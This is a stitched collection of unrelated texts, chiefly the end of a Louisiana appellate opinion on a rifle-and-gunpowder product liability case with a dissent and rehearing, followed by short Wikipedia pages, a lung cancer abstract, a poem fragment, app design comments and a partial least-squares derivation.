Furthermore, a sexually dysfunctional relationship results. This was especially true for Mr. and Mrs. Hines in view of his impotence resulting from this brutally unfortunate accident.
Moreover, Mrs. Hines testified that at least one of her hobbies, collecting antique glassware, had to be curtailed and her travel engagements with her family was significantly decreased.
In light of all of these considerations, an award of $50,000.00 for her loss of consortium is reasonable.
Attorney’s Fees
The Hineses claim entitlement to attorney’s fees under authority of LSA-C.C. art. 2545 and Philippe v. Browning Arms Co., 395 So.2d 310 (La.1981) and its progeny. We agree that Sinclair owes attorney’s fees by virtue of its rifle being unreasonably dangerous per se. It is presumed to know the vice of its product, and the Hineses have suffered damages as a result of this vice. However, we decline the invitation to remand for evidence on the matter. This dispute is in its ninth year and we would be remiss in our duty to expedite justice if we allow further trial proceedings. Furthermore, the record sufficiently portrays the effort and time expended to bring this trial to its present disposition. Based on that fact, we hold Sinclair liable for attorney’s fees in the amount of twenty-five percent of the total judgment against it.
We deny attorney’s fees against Hodgdon. In doing so, we follow the rationale of Walker v. Maybelline Co., 477 So.2d 1136 (La.App. 1st Cir.1985), writ denied, 481 So.2d 1333 (La.1986), which distinguished cases where the product is defective in design or construction from those where the “defect” is a failure to warn. The court in Walker stated that the breach of duty was in the lack of adequate warning, not in some malfunction of the product; thus, the vice is not in the thing sold, as required for recovery under LSA-C.C. art. 2545. We recognize, as that court did, the fine distinction made, but believe it is the proper analysis of the issue. Consequently, no attorney’s fees are awarded against Hodgdon or Admiral.
Interest Liability Of Admiral Insurance Company
Admiral Insurance Company issued a general liability policy to Hodgdon, Inc. The section, “Supplementary Payments,” states in pertinent part:
The Company will pay, in addition to the applicable limit of liability:
(a) all expenses incurred by the Company, all costs taxéd against the Insured in any suit defended by the Company and all interest on the entire amount of any judgment therein which accrues after entry of the judgment and before the Company has paid or tendered or deposited in court that part of the judgment which does not exceed the limit of the Company’s liability thereon.
Thus, Admiral is further liable for legal interest on the entire amount of the judgments from the date of this court’s judgment until it tenders or pays its policy limits of $500,-000.00.
Hodgdon’s Issues
Hodgdon answered the appeal and asserted two issues. In the first issue, it asks this court to recognize its third party demand for indemnity and contribution against Sinclair, if we reverse the judgment against it. This is not necessary. Sinclair and Hodgdon are liable in solido for the Hineses damages. Under LSA-C.C. art. 2324, as it existed at the time of the accident, and the jurisprudence interpreting it, the right to seek contribution and indemnity arises when joint tort-feasors are found liable in solido for damages to the plaintiff. There is no need for us to recognize its claim as it is already provided for by operation of law.
Hodgdon’s second issue is a question of prescription. It claims the Hineses failed to file a timely suit against it and Admiral. While Hodgdon and Admiral were added to the suit by amending petition filed more than a year after the date of the accident, the action has not prescribed. Because suit was filed timely against Sinclair, it is timely as to Hodgdon and Admiral by virtue of their soli-dary liability. Younger, supra; Lee v. Missouri Pacific Railroad Co., 540 So.2d 287 (La.1989); LSA-C.C. art. 1799. This issue lacks merit.
CONCLUSION
For the foregoing reasons, the jury-verdict in favor of Sinclair, Inc. is reversed, the Sinclair rifle is unreasonably dangerous per se and Sinclair is found to be thirty three percent at fault for damages suffered by Earl & Beverly Hines.
The trial judge’s evidentiary ruling is reversed and the jury verdict concerning Hodgdon and Admiral given no weight. Hodgdon failed to adequately instruct Mr. Hines of a safe and proper method of gunpowder storage. Hodgdon’s fault is thirty three percent.
Earl Hines, Jr.’s fault is assessed at thirty four percent.
We award attorney’s fees of twenty-five percent against Sinclair but none against Hodgdon or Admiral.
DECREE
For the reasons assigned, the judgment of the trial court is reversed and set aside. The following percentages of fault are set: Sinclair, Inc., thirty three percent; Hodgdon Powder Company, thirty three percent; and, Earl Hines, Jr., thirty four percent. Accordingly:
IT IS ORDERED that there be judgment in favor of plaintiff, Earl Hines, Jr., and against defendants, in the sum of $2,458,-128.92, and for Beverly Hines and against defendants for the sum of $50,000.00 in the following fashion:
Sinclair, Inc., Hodgdon Powder Company and Admiral Insurance Company, are liable in solido for $500,000.00 plus legal interest from the date of judicial demand against Sinclair until the date of this decree;
Admiral Insurance Company is liable for legal interest on the entire amount of the judgment from the date of this decree until it tenders or pays its policy limits of $500,-000.00;
Sinclair, Inc. and Hodgdon Powder Company are liable in solido for the principal amount over $500,000.00, plus legal interest on that amount, from the date of judicial demand on Sinclair until paid;
Sinclair, Inc. is liable for attorney’s fees amounting to twenty-five percent of the total award; and
Sinclair, Inc., Hodgdon Powder Company and Admiral Insurance Company are liable in solido for all costs of this appeal.
IT IS FURTHER ORDERED that the total amount awarded to Earl Hines, Jr. and Beverly Hines be reduced according to Earl Hines’s comparative fault of thirty four percent.
REVERSED AND RENDERED.
LABORDE, J., dissents and assigns reasons.
CULPEPPER, J., dissents for the reasons assigned by LABORDE.
LABORDE, Judge,
dissenting.
Although Mr. Hines’ plight evokes the sympathy of this court, that alone is not enough to justify a reversal of the trial court’s decision. In my view, the majority goes to great lengths to detour around the clear mandates of the Canter-Arceneaux-Rosell-Stobart rule that appellate panels not lightly tread on a jury’s factual conclusions, regardless of the personal predilections of its constituent members.
In the case sub judice, the trial judge properly instructed the finder of fact as to the legal duties of the defendants to this proceeding and as to plaintiffs legal burden of proof, raising the standard of appellate review to that of the quintessential question of fact. The jury, applying the law to the facts as it found them, absolved defendants of all liability. Although my heart is with the plaintiff, the law is not. Accordingly, I respectfully dissent. The evidence and law do not demonstrate that the trial court’s finding was clearly wrong or manifestly erroneous on either factual or legal grounds.
STANDARD OF REVIEW
[T]he issue to be resolved by a reviewing court is not whether the trier of fact was right or wrong, but whether the factfin-der’s conclusion was a reasonable one. See generally, Cosse v. Allen-Bradley Co., 601 So.2d 1349, 1351 (La.1992); Housley v. Cerise, 579 So.2d 973 (La.1991); Sistler v. Liberty Mutual Ins. Co., 558 So.2d 1106, 1112 (La.1990). Even though an appellate court may feel its own evaluations and inferences are more reasonable than the factfinder’s, reasonable evaluations of credibility and reasonable inferences of fact should not be disturbed upon review where conflict exists in the testimony. Rosell v. Esco, 549 So.2d 840 (La.1989); Arceneaux v. Domingue, 365 So.2d 1330 (La.1978). However, where documents or objective evidence so contradict the witness’s story, or the story itself is so internally inconsistent or implausible on its face, that a reasonable factfinder would not credit the witness’s story, the court of appeal may find manifest error or clear wrongness even in a finding purportedly based upon a credibility determination. Rosell, 549 So.2d at 844^-45. Nonetheless, this Court has emphasized that “the reviewing court must always keep in mind that ‘if the trial court or jury’s findings are reasonable in light of the record reviewed in its entirety, the court of appeal may not reverse, even if convinced that had it been sitting as the trier of fact, it would have weighed the evidence differently.’ ” Housley v. Cerise, 579 So.2d 973 (La.1991) (quoting Sistler v. Liberty Mutual Ins. Co., 558 So.2d 1106, 1112 (La.1990)).
This court has recognized that “[t]he reason for this well-settled principle of review is based not only upon the trial court’s better capacity to evaluate live witnesses (as compared with the appellate court’s access only to a cold record), but also upon the proper allocation of trial and appellate functions between the respective courts.” Canter v. Koehring Co., 283 So.2d 716 (La.1973). Thus, where two permissible views of the evidence exist, the factfinder’s choice between them cannot be manifestly erroneous or clearly wrong. Id.
Stobart v. State Through DOTD, 617 So.2d 880, 882-883 (La.1993).
GUN MANUFACTURER
In the present case, the plaintiffs presented evidence suggesting the trigger mechanism in the gun was too light and prone to downfire. To rebut this evidence, the defendants presented evidence that the requirement of special handling techniques is universally recognized by competition shooters.
Based on the evidence introduced at trial plus the fact that plaintiff is a sophisticated user of this type of firearm, it was entirely reasonable for the jury to conclude that competition shooters like Earl Hines, the only persons who purchase and use these guns, are aware of this propensity and therefore are obliged to handle these guns accordingly.
The jury could also have concluded that it was plaintiffs actions, not defendant Sinclair’s, that rendered the gun unsafe, as Fred Sinclair, the manufacturer of the gun, testified that the trigger of every accurized rifle he constructs is tested before being sent to a purchaser. Sinclair further testified that his examination of the trigger mechanism following the accident revealed that the trigger mechanism could have been tampered with or the rifle abused. Finally, the allegedly defective trigger was never produced at trial because plaintiff claimed it was lost prior to the time defendant’s experts could examine it.
The majority seeks to avoid the effect of the manifest error rule by saying that the rifle was unreasonably dangerous per se and that this was the only proper legal conclusion that the jury could reach, viewing the evidence as a whole. The majority correctly quotes the Halphen test. A product is unreasonably dangerous per se if a reasonable person would conclude that the danger-in-fact of the product outweighs the utility of the product. The Halphen test’s application to a particular set of circumstances presents a question of fact. A jury’s answer to a question of fact based upon proper legal instructions is not to be disturbed upon review unless it is clearly wrong.
In the case sub judice, the factfinder’s choice between two permissible views of the evidence was not manifestly erroneous or clearly wrong, and its conclusions of fact reasonably supported by the evidence. For this reason, it is the majority and not the jury who committed manifest legal error.
GUNPOWDER MANUFACTURER
The required outcome in favor of gun manufacturer Sinclair, supra, should dispose of plaintiffs claim against gunpowder manufacturer Hodgson, as the viability of plaintiffs claim against Hodgson is predicated upon a finding of liability on the part of Sinclair.
Moreover, even if the rifle manufacturer is somehow culpable, the jury was not clearly wrong in finding the gunpowder manufactured by Hodgson to be neither defective nor abnormally dangerous. A product cannot be said to be unreasonably dangerous where the alleged danger of the product is commonly known to be its essential characteristic. Addison v. Williams, 546 So.2d 220 (La.App. 2 Cir.), writ denied, 550 So.2d 634 (La.1989). It is common knowledge, particularly to those experienced in its use, that gunpowder is highly flammable; in fact, that is its well known primary characteristic. Therefore, the jury had a reasonable basis in its finding that the gunpowder did not contain an abnormality making it more dangerous than its original design.
The jury’s conclusion that the gunpowder did not explode, a question at the heart of the “abnormally dangerous” issue, was not clearly wrong. Defendants claim the powder did not explode but burned. Plaintiffs expert, Mr. Greene, was the only one to testify at trial indicating the gunpowder was defective, and he admitted: first, that he had no understanding of the chemical composition of this powder; second, that he could not testify to what, if anything, was precisely defective about the gunpowder; and third, that a true detonation would have killed plaintiff. On the other hand, defendants’ expert, William Davis, a registered professional engineer specializing in firearms and ammunition, supported Hodgson’s position that the H 4895 gunpowder was not explosive but only flammable, concurring with plaintiff expert Greene’s opinion that had Hines been involved in a detonation of just one pound of gunpowder, he would not have survived. (Even plaintiff testified that he never heard an explosion.)
As to the exclusion of evidence on the failure to warn theory, the purported breach found by the majority which enabled it to substitute its judgment for that of the jury, the trial court did not abuse its wide discretion in excluding this evidence. According to the trial record, plaintiffs filed a motion in limine requesting that they be allowed to introduce post-accident changes in the wording of the warnings on the gunpowder cans; defendants opposed this motion. Whether evidence is relevant or not is within the discretion of the trial court and its ruling will not be disturbed absent a clear abuse of discretion. Citizen’s Bank and Trust v. Consolidated Terminal Warehouse, Inc., 460 So.2d 663 (La.App. 1 Cir.1984).
The trial court did not clearly err when it denied plaintiffs motion on grounds of relevance (La.C.E. art. 401), finding that such warnings were irrelevant since plaintiff, a sophisticated user of firearms, testified he was aware of the dangers involved with this product. A manufacturer has no duty to warn where the danger and manner of avoiding the danger is common knowledge or is known by the injured party. See Whitacre v. Halo Optical Products, Inc., 501 So.2d 994 (La.App. 2 Cir.1987).
DECREE
Finally, the majority legally errs in its award of damages even assuming its apportionment of fault may be substituted for those of the fact finder. The majority concludes that plaintiff is thirty-four percent responsible for his injuries and that each of the defendants is thirty-three percent responsible, then decrees a thirty-four percent reduction in damages. In other words, the majority contends that plaintiff is entitled to recover 66% of his damages, regardless of whether the sums are tendered by two solvent solidary obligors or forced from one solvent defendant should the other be insolvent (as would appear to be the case here).
The law applicable to this 1984 accident precludes imposition of solidary liability upon a defendant determined to be less culpable than the plaintiff seeking redress:
“Art. 2324. Liability for assisting or encouraging wrongful act.
“Art. 2324. He who causes another person to do an unlawful act, or assists or encourages in the commission of it, is answerable, in solido, with that person, for the damage caused by such act.
“Persons whose concurring fault has caused injury, death or loss to another are also answerable, in solido; provided, however, when the amount of recovery has been reduced in accordance with the preceding article, a judgment debtor shall not be liable for more than the degree of his fault to a judgment creditor to whom a greater degree of negligence has been attributed, reserving to all parties their respective rights of indemnity and contribution.”
CONCLUSION
My review of the facts and law leads me to conclude that the majority errs thrice: first, by substituting its factual conclusions for those of a fact-finder who is not complained to have been ill-informed as to the law; second, in finding prescription as to a defendant has been interrupted as a consequence of this erroneous conclusion; third, by failing to properly credit a defendant expressly found by the majority to be less culpable than the plaintiff, in direct contravention of LSA-CC art. 2324 as it has consistently provided since August 1, 1980. Accordingly, I respectfully dissent.
ON REHEARING
We granted rehearing in this matter on application of both the plaintiffs-appellants and defendants-appellees, Hodgdon Powder Company and Admiral Insurance Company, on the limited issues of the solidary liability of defendants-appellees with Sinclair, Inc., the manufacturer, for the award of damages and the award of property damages in the amount of $135,678.47.
The imposition of solidary liability on Sinclair Inc., Hodgdon Powder Company, and Admiral Insurance Company is incorrect as it pertains to the allocation of damages. Article 2324(B) of the Louisiana Civil Code provided at the time of the occurrence (and still does) that:
“... when the amount of recovery has been reduced in accordance with the preceding Article, a judgment debtor shall not be liable for more than the degree of his fault to a judgment creditor to whom a greater degree of fault has been attributed ... [T]he liability for damages caused by two or more persons shall be a joint, divisible obligation, and a joint tortfeasor shall not be solidarity liable with any other person for damages attributable to the fault of such other person ... regardless of such other person’s insolvency, ability to pay, degree of fault, or immunity by statute or otherwise.”
Since Hines’s fault exceeds that of the defendants, the defendants are not solidarity liable for the payment of damages.
In our first consideration of this matter, we awarded the Hineses $135,678.47 in property damage. This figure represents the exact amount paid by their homeowner insurer, State Farm. In making the award, we recognized the subrogation agreement between insurer and insured. We have granted rehearing on this issue and found our previous ruling incorrect.
The record contains an assignment and subrogation agreement between the Hineses and State Farm for the right to recover for the property damage. State Farm received the right after it paid the claim filed by the Hineses. Both were parties to the suit and asserted their claims. After adverse judgment at trial, the Hineses appealed but State Farm did not.
Hodgdon asserts that State Farm has lost its right to recover under the assignment because it failed to appeal. Furthermore, it contends the Hineses cannot recover for the property damage because they have no right to assert, having lost it in the assignment and having, in fact, already recovered their property damages.
The Hineses claim they should be allowed to collect the property damages in order to avoid imposing a hardship upon State Farm. Essentially, they contend that allowing them to receive the damages will give State Farm the opportunity to recover the amount it paid out. In support of this contention, they cite Fontenot v. Hanover Insurance Company, 465 So.2d 743 (La.App. 3d Cir.1984).
In Fontenot, an insured assigned his rights to his insurer after collecting on a filed claim. Thereafter, the insured filed a personal injury suit against defendants. The insurer was not made a party to the suit. Defendants filed an exception of no right of action claiming plaintiff-insured had assigned away his right to recover. The trial court denied the exception but on appeal this court reversed. However, after finding the assignment validly transferred the plaintiff-insured’s interest to the insurer, we remanded to add the insured as plaintiff so that it might have the opportunity to recover under its assignment.
Fontenot does shed light on this issue but the illumination is not favorable to the Hineses. As in Fontenot, the Hineses assigned their right to recover property damages to State Farm. The distinction between Fontenot and the present case is that, unlike Fontenot, the insurer, State Farm, asserted its right and had its claim tried with those of the Hineses. Though State Farm lost in trial, it still had a remedy on appeal. Having failed to appeal, the judgment of the trial court as to it is final. Moreover, the Hineses did not have any right to recover the property damages after the assignment. Consequently, we hold our previous judgment awarding property damages in the amount of $135,678.47 in favor of the Hineses is in error and shall be amended accordingly.
For the foregoing reasons, our decree is amended to read as follows:
DECREE
For the reasons assigned, the judgment of the trial court is reversed and set aside. The following percentages of fault are set: Sinclair, Inc., thirty three percent; Hodgdon Powder Company, thirty three percent; and, Earl Hines, Jr., thirty four percent. Accordingly:
IT IS ORDERED that there be judgment in favor of plaintiff, Earl Hines, Jr., and against defendants, in the sum of $2,322,-450.45, and for Beverly Hines and against defendants for the sum of $50,000.00 in the following fashion:
Sinclair, Inc., is liable for thirty three percent of $2,322,450.45 and thirty three percent of $50,000.00 plus legal interest form the date of judicial demand against Sinclair until the date of this decree;
Hodgdon Powder Company is liable for thirty three percent of $2,322,450.45 and thirty three percent of $50,000.00 plus legal interest from the date of judicial demand against Sinclair until the date of this decree. Its insurer, Admiral Insurance Company, is liable for the limits of its $500,000.00 policy, plus legal interest form the date of judicial demand against Sinclair until the date of this decree;
Admiral Insurance Company is liable for legal interest on the entire amount of the judgment from the date of this decree until it tenders or pays its policy limits of $500,-000.00;
Sinclair, Inc. is liable for attorney’s fees amounting to twenty-five percent of the total award; and
Sinclair, Inc., Hodgdon Powder Company and Admiral Insurance Company are liable for all costs of this appeal.
IT IS FURTHER ORDERED that the total amount awarded to Earl Hines, Jr. and Beverly Hines be reduced according to Earl Hines’s comparative fault of thirty four percent.
In all other respects, the petitions for rehearing of defendants-appellees, Hodgdon Powder Company and Admiral Insurance Company, and of the plaintiffs, Earl H. Hines, Jr. and Beverly Helms Hines, are denied.
ORIGINAL DECREE AMENDED AND, AS AMENDED, AFFIRMED.
CULPEPPER and LABORDE, JJ., dissent, being of the opinion that neither Sinclair nor Hodgdon is hable.
. Evidence of subsequent remedial measures is admissible to prove knowledge, feasibility of pre-cautionaiy measures, etc. under Toups v. Sears, Roebuck and Company, Inc., 507 So.2d 809 (La.1987), and LSA-C.E. art. 407.
. Suit was filed within prescriptive bounds against Sinclair, but the suit against Hodgson was not. Accordingly, viability of plaintiff’s latter claims turns on a finding of conjunctive soli-dary liability on the part of Sinclair. Absent such a finding, plaintiff's claim against Hodgson must fail on prescription grounds.
. Plaintiff also had in his loading room editions of the Sierra Loading Manual, Hornaday Loading Manual, Lyman Loading Manual, Speer Loading Manual, Nosier Loading Manual, as well as two Shooters Bibles.
. The effective date of Acts 1979, No. 431, paragraph 1, promulgating Civil Code articles 2323 and 2324, the rules of comparative negligence with which we are concerned. (It is to be noted that the current versions of the referenced articles would call for the same outcome as the one found wanting by this dissent.)
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CASELAW
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Wikipedia:Articles for deletion/Diabolical signature
The result was delete. MelanieN (talk) 00:55, 4 March 2017 (UTC)
Diabolical signature
* – ( View AfD View log Stats )
This article has been around the English Wikipedia for some time, just lingering, without any references at all and it doesn’t really have a claim of why it is notable other than reference to a famous story of a person who made a pact with the devil. With this said, no sources I could find referenced a “diabolical signature.” Therefore, I would say this doesn’t meet WP:GNG and as it has been un-referenced for god knows how long (get the irony?) I doubt there’s much chance of it. Perhaps someone can search more corners of the web than myself to pick something up but scholar records, google etc. don’t pick anything up of note. As it stands, with no references, and non-that I could find which assert notability I move to AfD however, if some references are found that assert notability then I will be happy to rescind nomination.
* → (talk to me!) (contributions) 18:30, 24 February 2017 (UTC)
* Note: This debate has been included in the list of Authors-related deletion discussions. → (talk to me!) (contributions) 18:32, 24 February 2017 (UTC)
* Note: This debate has been included in the list of Arts-related deletion discussions. → (talk to me!) (contributions) 18:32, 24 February 2017 (UTC)
* Note: This debate has been included in the list of Fictional elements-related deletion discussions. → (talk to me!) (contributions) 18:32, 24 February 2017 (UTC)
* Note: This debate has been included in the list of Paranormal-related deletion discussions. → (talk to me!) (contributions) 18:32, 24 February 2017 (UTC)
* Merge Delete changed per users request here to Deal with the Devil. From what I can tell, the information here is drawn almost entirely from a single source, which is this book. This is the only real source I could find discussing the term "diabolical signature" in the manner described in the article, and a lot of the content of this article is word-for-word copied from the text in the book. Any other mention of the term I can find are either super brief mentions, that don't go into detail at all, or are mirrors of this article. So, it does not have the amount of reliable sources needed to really exist as a separate article. However, as this article is talking entirely about making deals with demons, and the "Deal with the Devil" article covers a lot of the same material, a merge and redirect to that article seems like it would be a good option. <IP_ADDRESS> (talk) 18:50, 24 February 2017 (UTC)
* Comment - Actually, that book is likely copying from the article, rather than the other way around. The article is little changed from 2003 when it was created, that book was published in 2012. ~ ONUnicorn (Talk|Contribs) problem solving 21:54, 24 February 2017 (UTC)
* If that is the case, then you can consider my argument to be for Deletion, rather than Merging. <IP_ADDRESS> (talk) 22:14, 24 February 2017 (UTC)
* Merge The article is quite short, and it makes sense to include this information as a section in Deal with the Devil rather than as a stand-alone article. As far as sources go, (since if we are to merge it the information still needs to be sourced) page 115 of this book mentions the necessity of obtaining the Devil's signature for a spell to create untold wealth, but it doesn't go far in sourcing the sort of specifics in the article. Although they aren't cited in footnotes according to current Wikipedia standards, the article does cite to Arbatel de Magia Verum and The Lesser Key of Solomon (Solomon) for some of its claims (books that were written in Latin circa 1575-1700). From what I can tell, Solomon likely does support the assertions the article makes, though Arbatel de Magia Verum probably doesn't. I'd prefer to see more recent treatment of these old and difficult sources - these older sources don't quite meet the definition of primary sources, but I'd still prefer to see them treated as such for this article. That said, I think Solomon gives enough credibility to the contents of the article that there is content worth merging to Deal with the Devil, citing to Solomon. ~ ONUnicorn (Talk|Contribs) problem solving 22:55, 24 February 2017 (UTC)
* My name is Solomon and I was wtfing for a while until I read more into it. → (talk to me!) (contributions) 23:07, 24 February 2017 (UTC)
* LOL! Sorry to confuse you. :) ~ ONUnicorn (Talk|Contribs) problem solving 23:18, 24 February 2017 (UTC)
* Delete A rather fringe topic from demonology, "the systematic study of demons or beliefs about demons". It used to be all the rage for religious thought, but how many reliable sources address such matters nowadays? And the article seems to be quoting the Lesser Key of Solomon, a 17th-century grimoire. Among other things, the grimoire names and describes 72 different demons. Most of them are not known from previous sources, and may have been created by the anonymous writer. I doubt this counts as a reliable source. Dimadick (talk) 09:02, 25 February 2017 (UTC)
* Delete per above comments. Aoba47 (talk) 03:20, 27 February 2017 (UTC)
* Delete - if this information is in the Lesser Key of Solomon article, it makes little sense to have a separate article. I may go to hell for this, but I think we should delete. Rogermx (talk) 20:49, 3 March 2017 (UTC)
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WIKI
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Multiple primary malignancies involving lung cancer-clinical characteristics and prognosis
Lung Cancer. 2002 Feb;35(2):189-94. doi: 10.1016/s0169-5002(01)00408-1.
Abstract
The incidence of multiple primary malignancies has increased in recent decades. The present study attempts to determine the clinical characteristics, the smoking factor, prognosis and temporal relationship of lung cancer to other cancers in patients with multiple primary malignancies. A total of 193 patients with multiple primary cancers involving lung cancer were found among 22,405 cancer cases diagnosed in Taipei Veterans General Hospital, between 1993 and 1997. Patients' clinical characteristics, smoking habit, tumor location, lung cancer histology, staging and survival were recorded and analyzed. The results showed that smoking is a significant risk factor for the development of multiple primary malignancies involving lung cancer (P<0.001). Of the 193 patients in this study, 51 had lung cancer diagnosed before the occurrence of other primary cancers (lung cancer first group, LCF group) and the remaining 142 patients had another cancer site develop ahead of the lung cancer (other cancer first group, OCF group). There was a significant difference between the time of the diagnosis of the first primary cancer to that of the second primary cancer in the LCF group and in the OCF group (median 10 vs. 46 months, P<0.001). For lung cancer staging, 53.3% of LCF patients suffered from stage I-II lung cancer, while 24.5% of OCF patients suffered from stage I-II lung cancer. Upper aerodigestive tract tumors were the most frequent tumors accompanying lung cancer, followed by colorectal and cervical cancer. Patients with cervical cancer were at a higher risk of developing lung cancer. Median survival was 65 months in the LCF patients and 81 months in the OCF patients, when calculated from the diagnosis of the first cancer (P=0.558). Median survival was 36 and 14 months, respectively, when calculated from the diagnosis of the second cancer (P=0.081). Median survival (37 vs. 14 months, P=0.085) and 3-year survival (62.5 vs. 25.4%, P=0.002), calculated from the diagnosis of the second primary lung cancer, was better in those LCF patients who developed another primary lung cancer than in the OCF patients who developed a second primary lung cancer. In conclusion, smoking is a risk factor for the development of multiple primary cancers. Upper aerodigestive tract cancer, colorectal cancer and cervical cancer were the tumors most frequently accompanying lung cancer. The staging status and median survival of patients who had a second primary lung cancer were better than in the general lung cancer population. Careful follow-up and intensive treatment is suggested for these patients.
MeSH terms
• Aged
• Female
• Humans
• Lung Neoplasms / pathology*
• Male
• Middle Aged
• Neoplasm Staging
• Neoplasms, Multiple Primary / pathology*
• Prognosis
• Retrospective Studies
• Risk Factors
• Smoking / adverse effects*
• Survival Analysis
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ESSENTIALAI-STEM
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Page:Dreams and Images.djvu/200
To have none else beside, That both might keep unflecked their virgin snows.
Yet by our God's great law Such marriage issue saw, As they who cast away may keep, Who sow not reap. In Chastity entombed His manhood bloomed, And children not of earth Had spotless birth. With might unmortal was he strong That he begot Of what was not, Within the barren womb of silence, song. Yea, many sons he had To make his sole heart glad— Romping the boundless meadows of the air, Skipping the cloudy hills, and climbing bold The heavens' nightly stairs of starry gold. Nay, winning heaven's door To mingle evermore With deathless troops of angel harmony. He filled the house of God With servants at his nod, A music-host of moving pagentry. Lo, this priest, and that an acolyte: Ah, such we name aright Creative art, To body forth love slumbering at the heart Fools, they who pity him, Imagine dim
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WIKI
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Church of St. John the Baptist, Banja of Peja
Church of St. John the Baptist in Banja of Peja, in the municipality of Peja, Kosovo, was built in 1998 by Rajović family. It belonged to the Diocese of Raška and Prizren of the Serbian Orthodox Church.
Architecture
The church was designed with complex basis, in three parts with three bell towers. Bell towers are basically open on four sides. A narthex and nave are in the form of an inscribed cross. The authors of the project were Ljubiša Folić and Radomir Folić. The temple was painted by Dragomir Jašović. The frescoes have been painted by a famous Serbian fresco painter and traditional musician Pavle Aksentijević. Mosaics were done by Zdravko Vajagić, and chandelier and crosses were made by Bane Rakalić. The bells were made in the foundry "Popović".
The destruction of the church in 1999
In 1999, after the arrival of the Italian KFOR troops, the church was burned and damaged by Kosovo Albanians.
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WIKI
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Why Are Sengled Bulbs Special?
There are several reasons why stranded light bulbs vary. Here are some popular ones:
Sengled light bulbs provide functions such as dimming, color change, and scheduling. Voice control and motion detection are available on certain lamps.
The lumen output of a light bulb measures its brightness. Sengled smart light bulbs have different lumen outputs, so you may select the best one.
The color temperature of a light bulb indicates its warmth or coldness. Sengled light bulbs come in several color temperatures, so you can pick the right environment.
The lifetime of a light bulb is the number of hours it is predicted to endure. Sengled light bulbs last 25,000 hours, longer than incandescent lights.
Price: Seungled light bulbs cost around $10 to $50. The bulb’s features, connection, and lumen output determine its pricing.
Sengled light bulbs provide connection choices such as Bluetooth, Wi-Fi, and Zigbee. If you have several smart home devices, Zigbee lights can establish a mesh network with a hub.
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ESSENTIALAI-STEM
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Naturalization Act
Naturalization Act may refer to:
Great Britain
* Naturalization Act 1714
* Jewish Naturalisation Act 1753
* Naturalization Act 1870
United States
* Naturalization Act of 1790
* Naturalization Act of 1795
* Naturalization Act of 1798, part of the Alien and Sedition Acts
* Naturalization Acts of 1804 and 1855, concerning birthright citizenship in the United States
* Naturalization Act of 1870
* Naturalization Act of 1906
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WIKI
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Category talk:Nuclear Blast albums
Name for the label
The article for the label itself is just Nuclear Blast and has no "Records" in the title, yet this category has the "Records" part in the title, one of these pages has to be moved. -- GunMetal Angel 16:24, 6 November 2009 (UTC)
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WIKI
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RPN USA
RPN USA is a Filipino satellite television International channel owned by Radio Philippines Network and Nine Media Corporation in partnership with Glocal Media. The channel offers a variety mix of programming, from CNN Philippines (now RPTV). including classic original programming from RPN as well as programming from CLTV 36.
On July 1, 2024, RPN USA replace and rebrand as RPN World available worldwide via pay TV provider.
RPN USA is available for Dish Network subscribers in the United States.
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WIKI
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Peter Hunter Blair
Peter Hunter Blair (22 March 1912 – 9 September 1982) was an English academic and historian specializing in the Anglo-Saxon period.
Life
He was the son of Charles Henry Hunter Blair and his wife Alice Maude Mary France. He was educated at Durham School and Emmanuel College, Cambridge.
Hunter Blair was a fellow of Emmanuel College and Reader in the Department of Anglo-Saxon, Norse and Celtic, University of Cambridge.
Wife
In 1969 Hunter Blair married his third wife, the children's author Pauline Clarke. She edited his Anglo-Saxon Northumbria in 1984.
Writing under her married name, Pauline Hunter Blair, she wrote two books about the life of Nelson, starting with The Nelson Boy (1999), and two novels for adults: Warscape (2002), exploring life in Britain during 1943 to 1945 and the end of the war and start of the atomic era, and Jacob's Ladder (2003), about life in an English village, plus a possible murder, and philosophical reflection on age and time.
Selected publications
* (Reprint of essays by Peter Hunter Blair published 1939 to 1976)
* (Reprint of essays by Peter Hunter Blair published 1939 to 1976)
* (Reprint of essays by Peter Hunter Blair published 1939 to 1976)
* (Reprint of essays by Peter Hunter Blair published 1939 to 1976)
* (Reprint of essays by Peter Hunter Blair published 1939 to 1976)
* (Reprint of essays by Peter Hunter Blair published 1939 to 1976)
* (Reprint of essays by Peter Hunter Blair published 1939 to 1976)
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WIKI
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TrendComputations class: //how we call this //fragment onResume checks to see what's been populated, don't repopulate //how to check: get listview or adapter size from icicle //if not populated, //fragment callback ASYNCgetChart for each chartype to main activity worker function //main activity to fragment worker with specific worker task //worker task calls dbAssist get all records as PoopLogEntry ArrayList //dbAssist calls to TrendComputations with list and context //TrendComputations calculates and returns chartdata object //dbAssist returns chartdata object to fragment worker result pair //resultpair returns with worker task to activity main //activity main calls to fragment showResult //showResult switches through worker tasks and populateChart(whichchart, ChartData) //populateChart calls thisList.add(new whatever, ) //list is populated (order will be diff everytime) TrendComputations.chartdataTotalsByVolumeStackedByType(): stacked bar chart: totals by volume, stacked by type 4 bars, each bar represents volume 7 stacks in each bar representing type for each volume x-axis: volume 1-4 (sm, med, lg, xl) y-axis: count of max + spacing stacked: in each volume bar, stacks will range from type 1-7 (7 possible stacked subsections) xVals = "Sm, Med, Lrg, XL" yVals = 0-max (entry count per volume)) TrendComputations.chartdataTotalsByTypeStackedByVolume(): stacked bar chart: totals by type, stacked by volume 7 bars, each bar represents type 4 stacks in each bar representing volume for each type x-axis: type 1-7 y-axis: count of max + spacing stacked: in each type bar, stacks will range from volume 1-4 (sm, med, lrg, xl) (4 possible stacked subsections) xVals = "1,2,3,4,5,6,7" (types) yVals = 0-max (entry count per type) TrendComputations.chartdataTotalsByTypePie(): pie chart: totals by type 8 possible subsections, each subsection represents type xVals = "0,1,2,3,4,5,6,7" (types)
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ESSENTIALAI-STEM
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Proofs involving ordinary least squares
The purpose of this page is to provide supplementary materials for the ordinary least squares article, reducing the load of the main article with mathematics and improving its accessibility, while at the same time retaining the completeness of exposition.
Derivation of the normal equations
Define the $$i$$th residual to be
* $$r_i= y_i - \sum_{j=1}^{n} X_{ij}\beta_j.$$
Then the objective $$S$$ can be rewritten
* $$S = \sum_{i=1}^m r_i^2.$$
Given that S is convex, it is minimized when its gradient vector is zero (This follows by definition: if the gradient vector is not zero, there is a direction in which we can move to minimize it further – see maxima and minima.) The elements of the gradient vector are the partial derivatives of S with respect to the parameters:
* $$\frac{\partial S}{\partial \beta_j}=2\sum_{i = 1}^m r_i\frac{\partial r_i}{\partial \beta_j} \qquad (j=1,2,\dots, n).$$
The derivatives are
* $$\frac{\partial r_i}{\partial \beta_j}=-X_{ij}.$$
Substitution of the expressions for the residuals and the derivatives into the gradient equations gives
